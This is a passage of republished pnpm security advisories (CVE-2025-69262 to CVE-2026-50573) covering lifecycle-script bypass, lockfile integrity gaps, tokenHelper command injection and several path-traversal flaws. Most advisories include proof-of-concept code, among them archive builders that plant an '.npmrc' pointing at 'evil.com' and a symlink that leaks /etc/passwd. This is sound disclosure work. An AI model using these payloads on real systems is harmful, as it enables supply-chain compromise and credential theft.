PREPUBLISH_SCRIPTS) { // ['prepublish', 'prepack', 'publish'] await runLifecycleHook(newScriptName, manifest, execOpts) } } ``` The `ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase. **Affected scripts that execute during fetch:** - `prepare` - `prepublish` - `prepack` **Attack vectors:** - `git+https://github.com/attacker/malicious.git` - `github:attacker/malicious` - `gitlab:attacker/malicious` - `bitbucket:attacker/malicious` - `git+ssh://git@github.com/attacker/malicious.git` - `git+file:///path/to/local/repo` ##### PoC **Prerequisites:** - pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1) - git **Steps to reproduce:** 1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip) 2. Run the PoC script: ```bash cd poc chmod +x run-poc.sh ./run-poc.sh ``` 3. Verify the marker file was created by the malicious script: ```bash cat /tmp/pnpm-vuln-poc-marker.txt ``` **Manual reproduction:** 1. Create a malicious package with a `prepare` script: ```json { "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } } ``` 2. Initialize it as a git repo and commit the files 3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball): ```json { "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } } ``` 4. Run `pnpm install` - the prepare script executes without any warning or approval prompt ##### Impact **Severity: High** **Who is impacted:** - All pnpm v10+ users - Users who believed they were protected by the v10 "scripts disabled by default" feature - CI/CD pipelines **Attack scenarios:** 1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install` **What an attacker can do:** - Execute arbitrary code with the victim's privileges - Exfiltrate environment variables, secrets, and credentials - Modify source code or inject backdoors - Establish persistence or reverse shells - Access the filesystem and network **Why this bypasses security expectations:** - pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default" - Users expect git dependencies to follow the same security model as npm registry packages - There is no warning that git dependencies are treated differently - The `onlyBuiltDependencies` configuration does not affect git dependencies #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj](https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj) - [https://nvd.nist.gov/vuln/detail/CVE-2025-69264](https://nvd.nist.gov/vuln/detail/CVE-2025-69264) - [https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5](https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-379q-355j-w6rj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies [CVE-2025-69263](https://nvd.nist.gov/vuln/detail/CVE-2025-69263) / [GHSA-7vhp-vf5g-r2fw](https://github.com/advisories/GHSA-7vhp-vf5g-r2fw) <details> <summary>More information</summary> #### Details ##### Summary HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed. ##### Details When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash: `resolving/tarball-resolver/src/index.ts`: ```javascript return { resolution: { tarball: resolvedUrl, // No integrity field }, resolvedVia: 'url', } ``` The resulting lockfile entry has no integrity to verify: ```yaml remote-dynamic-dependency@http://example.com/pkg.tgz: resolution: {tarball: http://example.com/pkg.tgz} version: 1.0.0 ``` Since there is no integrity hash, pnpm cannot detect when the server returns different content. This affects: - HTTP/HTTPS tarball URLs (`"pkg": "https://example.com/pkg.tgz"`) - Git shorthand dependencies (`"pkg": "github:user/repo"`) - Git URLs (`"pkg": "git+https://github.com/user/repo"`) npm registry packages are not affected as they include integrity hashes from the registry metadata. ##### PoC See attached [pnpm-bypass-integrity-poc.zip](https://github.com/user-attachments/files/23819648/pnpm-bypass-integrity-poc.zip) The POC includes: - A server that returns different tarball content on each request - A `malicious-package` that depends on the HTTP tarball - A `victim` project that depends on `malicious-package` To run: ```bash cd pnpm-bypass-integrity-poc ./run-poc.sh ``` The output shows that each install (with `pnpm store prune` between them) downloads different code despite having a committed lockfile. ##### Impact An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables: - Targeted attacks based on request metadata (IP, headers, timing) - Evasion of security audits (serve benign code during review, malicious code later) - Supply chain attacks where the malicious payload changes over time The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw](https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw) - [https://nvd.nist.gov/vuln/detail/CVE-2025-69263](https://nvd.nist.gov/vuln/detail/CVE-2025-69263) - [https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85](https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7vhp-vf5g-r2fw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm vulnerable to Command Injection via environment variable substitution [CVE-2025-69262](https://nvd.nist.gov/vuln/detail/CVE-2025-69262) / [GHSA-2phv-j68v-wwqx](https://github.com/advisories/GHSA-2phv-j68v-wwqx) <details> <summary>More information</summary> #### Details ##### Summary A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments. ##### Affected Components - **Package**: pnpm - **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality - **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function - **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution ##### Technical Details ##### Vulnerability Chain 1. **Environment Variable Substitution** - `.npmrc` supports `${VAR}` syntax - Substitution occurs in `readLocalConfig()` 2. **loadToken Execution** - Uses `spawnSync(helperPath, { shell: true })` - Only validates absolute path existence 3. **Attack Flow** ``` .npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved ``` ##### Code Evidence **`pnpm/config/config/src/readLocalConfig.ts:17-18`** ```typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key) ``` **`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`** ```typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... } ``` ##### Proof of Concept ##### Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem ##### PoC Steps ```bash ##### 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh ##### 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF ##### 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh ##### 4. Trigger pnpm install pnpm install # RCE occurs during auth ##### 5. Verify attack cat /tmp/rce-log.txt ``` ##### PoC Results ``` ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed ``` ##### Impact ##### Severity - **CVSS Score**: 7.6 (High) - **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H ##### Affected Environments **High Risk:** - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users **Low Risk:** - Public registry only - Production runtime (no pnpm execution) - Static sites ##### Attack Scenarios **Scenario 1: CI/CD Supply Chain** ``` Repository → Build Trigger → pnpm install → RCE → Production Deploy ``` **Scenario 2: Docker Build** ```dockerfile FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE ``` **Scenario 3: Kubernetes** ``` Secret Control → Env Variable → .npmrc Substitution → RCE ``` ##### Mitigation ##### Temporary Workarounds **Disable tokenHelper:** ```ini ##### .npmrc ##### registry.npmjs.org/:tokenHelper=${HELPER_PATH} ``` **Use direct tokens:** ```ini //registry.npmjs.org/:_authToken=YOUR_TOKEN ``` **Audit environment variables:** - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs ##### Recommended Fixes 1. Remove `shell: true` from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing ##### Disclosure - **Discovery**: 2025-11-02 - **PoC**: 2025-11-02 - **Report**: [Pending disclosure decision] ##### References - Repository: https://github.com/pnpm/pnpm - Affected: `@pnpm/config.env-replace@^3.0.2` - Similar: CVE-2024-53866, CVE-2023-37478 ##### Credit Reported by: Jiyong Yang Contact: sy2n0@&#8203;naver.com #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx](https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx) - [https://nvd.nist.gov/vuln/detail/CVE-2025-69262](https://nvd.nist.gov/vuln/detail/CVE-2025-69262) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.27.0](https://github.com/pnpm/pnpm/releases/tag/v10.27.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2phv-j68v-wwqx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip) [CVE-2026-23888](https://nvd.nist.gov/vuln/detail/CVE-2026-23888) / [GHSA-6pfh-p556-v868](https://github.com/advisories/GHSA-6pfh-p556-v868) <details> <summary>More information</summary> #### Details ##### Summary A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. ##### Details The vulnerability exists in the binary fetching and extraction logic: **1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)** AdmZip's `extractAllTo` does not validate entry paths for path traversal: ```typescript const zip = new AdmZip(buffer) const nodeDir = basename === '' ? targetDir : path.dirname(targetDir) const extractedDir = path.join(nodeDir, basename) zip.extractAllTo(nodeDir, true) // Entry paths not validated! await renameOverwrite(extractedDir, targetDir) ``` A ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`. **2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)** The `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction: ```typescript const extractedDir = path.join(nodeDir, basename) // If basename is '../../evil', this points outside nodeDir ``` ##### PoC **Attack Vector 1: ZIP Entry Path Traversal** ```python import zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as zf: # Normal file zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"') # Malicious path traversal entry zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n') with open('malicious-node.zip', 'wb') as f: f.write(zip_buffer.getvalue()) ``` **Attack Vector 2: Prefix Traversal via malicious resolution:** ```json { "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } } ``` ##### Impact - All pnpm users who install packages with binary assets - Users who configure custom Node.js binary locations - CI/CD pipelines that auto-install binary dependencies - Can overwrite config files, scripts, or other sensitive files leading to RCE Verified on pnpm main @&#8203; commit `5a0ed1d45`. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868](https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868) - [https://nvd.nist.gov/vuln/detail/CVE-2026-23888](https://nvd.nist.gov/vuln/detail/CVE-2026-23888) - [https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5](https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.28.1](https://github.com/pnpm/pnpm/releases/tag/v10.28.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6pfh-p556-v868) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm has Windows-specific tarball Path Traversal [CVE-2026-23889](https://nvd.nist.gov/vuln/detail/CVE-2026-23889) / [GHSA-6x96-7vc8-cm3p](https://github.com/advisories/GHSA-6x96-7vc8-cm3p) <details> <summary>More information</summary> #### Details ##### Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal. **This vulnerability is Windows-only.** ##### Details **1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)** ```typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) } ``` A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check. **2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)** - On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable) ##### PoC 1. Create a malicious tarball with entry `package/foo\..\..\.npmrc` 2. Host it or use as a tarball URL dependency 3. On Windows: `pnpm install` 4. Observe `.npmrc` written outside package directory ```python import tarfile, io tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkg_info = tarfile.TarInfo(name='package/package.json') pkg_info.size = len(pkg_json) tar.addfile(pkg_info, io.BytesIO(pkg_json)) malicious_content = b'registry=https://evil.com/\n' mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') mal_info.size = len(malicious_content) tar.addfile(mal_info, io.BytesIO(malicious_content)) with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tar_buffer.getvalue()) ``` ##### Impact - Windows pnpm users - Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) - Can overwrite `.npmrc`, build configs, or other files Verified on pnpm main @&#8203; commit 5a0ed1d45. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p](https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-23889](https://nvd.nist.gov/vuln/detail/CVE-2026-23889) - [https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0](https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.28.1](https://github.com/pnpm/pnpm/releases/tag/v10.28.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6x96-7vc8-cm3p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin [CVE-2026-23890](https://nvd.nist.gov/vuln/detail/CVE-2026-23890) / [GHSA-xpqm-wm3m-f34h](https://github.com/advisories/GHSA-xpqm-wm3m-f34h) <details> <summary>More information</summary> #### Details ##### Summary A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact. ##### Details The vulnerability exists in the bin name validation and normalization logic: **1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)** The filter allows any bin name starting with `@` to pass through without validation: ```typescript .filter((commandName) => encodeURIComponent(commandName) === commandName || commandName === '' || commandName[0] === '@&#8203;' // <-- Bypasses validation ) ``` **2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)** ```typescript function normalizeBinName (name: string): string { return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name } // Input: @&#8203;scope/../../evil // Output: ../../evil <-- Path traversal preserved! ``` **3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)** The normalized name is used directly in `path.join()` without validation. ##### PoC 1. Create a malicious package: ```json { "name": "malicious-pkg", "version": "1.0.0", "bin": { "@&#8203;scope/../../.npmrc": "./malicious.js" } } ``` 2. Install the package: ```bash pnpm add /path/to/malicious-pkg ``` 3. Observe `.npmrc` created in project root (outside node_modules/.bin). ##### Impact - All pnpm users who install npm packages - CI/CD pipelines using pnpm - Can overwrite config files, scripts, or other sensitive files Verified on pnpm main @&#8203; commit 5a0ed1d45. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h](https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h) - [https://nvd.nist.gov/vuln/detail/CVE-2026-23890](https://nvd.nist.gov/vuln/detail/CVE-2026-23890) - [https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d](https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.28.1](https://github.com/pnpm/pnpm/releases/tag/v10.28.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xpqm-wm3m-f34h) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm has symlink traversal in file:/git dependencies [CVE-2026-24056](https://nvd.nist.gov/vuln/detail/CVE-2026-24056) / [GHSA-m733-5w8f-5ggw](https://github.com/advisories/GHSA-m733-5w8f-5ggw) <details> <summary>More information</summary> #### Details ##### Summary When pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data. **Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected. ##### Details The vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default: ```typescript const absolutePath = path.join(dirname, relativePath) const stat = fs.statSync(absolutePath) // Follows symlinks! const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET ``` There is no check that `absolutePath` resolves to a location inside the package directory. ##### PoC ```bash ##### Create malicious package mkdir -p /tmp/evil && cd /tmp/evil ln -s /etc/passwd leaked-passwd.txt echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json ##### Victim installs mkdir /tmp/victim && cd /tmp/victim pnpm init && pnpm add file:../evil ##### Leaked! cat node_modules/evil/leaked-passwd.txt ``` ##### Impact - Developers installing local/file dependencies - CI/CD pipelines installing git dependencies - Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa` ##### Suggested Fix Use `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`. #### Severity - CVSS Score: 6.7 / 10 (Medium) - Vector String: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw](https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-24056](https://nvd.nist.gov/vuln/detail/CVE-2026-24056) - [https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f](https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.28.2](https://github.com/pnpm/pnpm/releases/tag/v10.28.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m733-5w8f-5ggw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm has Path Traversal via arbitrary file permission modification [CVE-2026-24131](https://nvd.nist.gov/vuln/detail/CVE-2026-24131) / [GHSA-v253-rj99-jwpq](https://github.com/advisories/GHSA-v253-rj99-jwpq) <details> <summary>More information</summary> #### Details ##### Summary When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. **Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). ##### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd } ``` The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check. ##### PoC ```bash ##### Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json ##### Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private ##### Install pnpm add file:/tmp/malicious-pkg ##### Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ``` ##### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default) ##### Suggested Fix Add `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) if (!isSubdir(pkgPath, binDir)) { return [] // Reject paths outside package } // ... } ``` #### Severity - CVSS Score: 6.7 / 10 (Medium) - Vector String: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq](https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq) - [https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943](https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.28.2](https://github.com/pnpm/pnpm/releases/tag/v10.28.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v253-rj99-jwpq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile [CVE-2026-48995](https://nvd.nist.gov/vuln/detail/CVE-2026-48995) / [GHSA-hg3w-7f8c-63hp](https://github.com/advisories/GHSA-hg3w-7f8c-63hp) <details> <summary>More information</summary> #### Details ##### Summary A malicious `codeload.github.com` server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile. ##### Details The lockfile does not store the hash of the dependencies from https://codeload.github.com This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies. ##### PoC ```sh > pnpm -v 10.28.2 ``` Given the following package.json: ```json { "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } } ``` This produces a lockfile like so: ```yaml lockfileVersion: '9.0' settings: autoInstallPeers: true excludeLinksFromLockfile: false importers: .: dependencies: add: specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b packages: add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b} version: 1.0.0 snapshots: add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {} ``` Notice that there is no hash. The `b3eeb9b` is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it). ##### Impact Anyone relying on github git dependencies. #### Severity - CVSS Score: 4.8 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-hg3w-7f8c-63hp](https://github.com/pnpm/pnpm/security/advisories/GHSA-hg3w-7f8c-63hp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-48995](https://nvd.nist.gov/vuln/detail/CVE-2026-48995) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hg3w-7f8c-63hp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Unsafe default behavior breaks integrity check [CVE-2026-50573](https://nvd.nist.gov/vuln/detail/CVE-2026-50573) / [GHSA-54hh-g5mx-jqcp](https://github.com/advisories/GHSA-54hh-g5mx-jqcp) <details> <summary>More information</summary> #### Details While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default. ##### Summary `pnpm install` in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`. When a package is already locked with an `integrity` value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain `pnpm install` then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. ##### Reproduction Scenario 1. Run a local npm-compatible registry. 2. Publish or serve `example-package@1.0.0` with tarball content `v1`. 3. Install it with pnpm: ```bash pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741 ``` 4. Confirm `pnpm-lock.yaml` contains the `v1` integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v1... ``` 5. Change the registry metadata and tarball for the same `example-package@1.0.0` to content `v2`. 6. On a clean store/cache, run: ```bash pnpm install --registry=http://127.0.0.1:48741 ``` ##### Observed Behavior pnpm detects the checksum mismatch: ```text WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz". Wanted "sha512-...v1..." Got "sha512-...v2...". ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it. ``` However, the install still succeeds: ```text INSTALL_RC=0 INSTALLED=v2-replaced ``` The lockfile is then rewritten to trust the new remote integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v2... ``` ##### Expected Behavior If a downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`, the install should fail by default. The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior. ##### Security Impact This behavior weakens the protection normally expected from a committed lockfile. If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity. Examples of affected new or clean environments include: - an engineer setting up the project on a new machine - a new team member onboarding to the project In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in `pnpm-lock.yaml`. However, instead of failing by default, plain `pnpm install` performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content. In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile. This is especially relevant for: - private registries that 